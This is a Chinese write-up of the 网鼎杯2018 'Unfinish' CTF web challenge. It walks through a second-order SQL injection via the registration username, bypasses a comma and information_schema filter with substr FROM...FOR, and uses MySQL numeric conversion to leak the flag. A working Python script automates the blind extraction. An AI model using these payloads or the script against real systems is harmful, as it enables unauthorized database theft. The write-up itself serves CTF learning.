【WEB】[网鼎杯2018]Unfinish

考点:目录扫描,SQL二次注入,SQL 注入过滤绕过,MySQL 隐式类型转换 + 数值运算回显,SQL盲注

打开靶机。

先用dirsearch扫一下。

能看到除了登录网页还有一个注册网页,进行访问,随便输入几个进行测试。

登陆成功,能看到回显了用户名,这就符合了SQL二次注入的一个特征,登录后用户名会显示在页面上,因此猜测是二次注入

因为用户名处会回显,所以在用户名处测试注入。

sql 复制代码
1'and'c
  • 1' ------ 闭合前面的单引号

  • and ------ 逻辑与,用来测试布尔条件

  • 'c ------ 闭合后面的单引号

如果存在注入,最终SQL会变成类似:

sql 复制代码
SELECT xxx FROM xxx WHERE username = '1'and'c'

用刚才注册的账号登录,发现用户名显示的不是 1'and'c,而是变成了 0。

这就证明存在注入,且听我慢慢道来原因。

为什么显示0?

MySQL有个特性:字符串和数字比较时,会把字符串转成数字再比。

  • 'c' 转成数字是 0(因为开头不是数字)

  • 而在与或非的'与'中,1 and 0 的结果是 0(有0则0,全1则1)

  • 所以最终用户名显示成了 0

这说明我们输入的SQL语句**真的被执行了,**不是原样显示的字符串。

在bp用Fuzz测试后,发现过滤了逗号和information。

那怎么绕过逗号过滤呢?

SQL中的substr() 函数通常的用法是 substr(str, pos, length),需要逗号。

MySQL的 substr() 支持另一种语法:

sql 复制代码
substr(str FROM pos FOR length)

对比一下。

sql 复制代码
-- 普通写法(需要逗号,被过滤)
substr(database(), 1, 1)

-- 绕过写法(用FROM...FOR,不需要逗号)
substr(database() FROM 1 FOR 1)

所以,FROMFOR 是SQL的关键字,专门用来替代逗号的。

那怎么绕过information过滤呢?

因为information_schema 被过滤了,所以我们没法查表名、字段名。

解决方法就是------直接猜, CTF题目里flag表的名字通常就叫 flag,字段名也通常就叫 flag

那怎么验证我们猜对了呢?,可以用这行注入。

sql 复制代码
select * from flag
  • 如果表存在 → 能查到数据,返回结果

  • 如果表不存在 → 报错,页面异常

    现在我们知道:

  • 注入点在用户名

  • 可以执行SQL

  • 逗号用 FROM...FOR 绕过

  • 表名猜是 flag

所以我们可以用 ascii() + substr() 逐位猜解flag的每一个字符的ASCII码,然后显示在用户名的位置。

sql 复制代码
0'+ascii(substr((select * from flag) from 1 for 1))+'0

|---------------------------------------------|----------------------------|
| 0' | 闭合前面的单引号,同时给一个初始值0 |
| + | MySQL里的加号是数值加法,不是字符串拼接 |
| ascii(...) | 取字符的ASCII码值(数字) |
| substr((select * from flag) from 1 for 1) | 取flag表第1行第1个字符 |
| + | 继续加法 |
| '0 | 闭合后面的单引号,加0不影响结果 |

为什么用加法而不是直接显示?

因为显示的位置是"用户名",它期望的是一个字符串。但我们通过SQL注入让它变成了一个数字计算的结果。

执行效果:

sql 复制代码
0 + ascii('f') + 0 = 0 + 102 + 0 = 102

因为手动盲注太过麻烦,所以我们可以用到自动化脚本。

python 复制代码
#coding:utf-8
import requests
import re


url = 'https://65a8091d0c7ae0692f706f4c.http-ctf2.dasctf.com/'

m = ''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    content = r3.text
    con = re.findall('<span class="user-name">(.*?)</span>',content,re.S|re.M)
    a = int (con[0].strip())
    m = m+chr(a)
    print(m)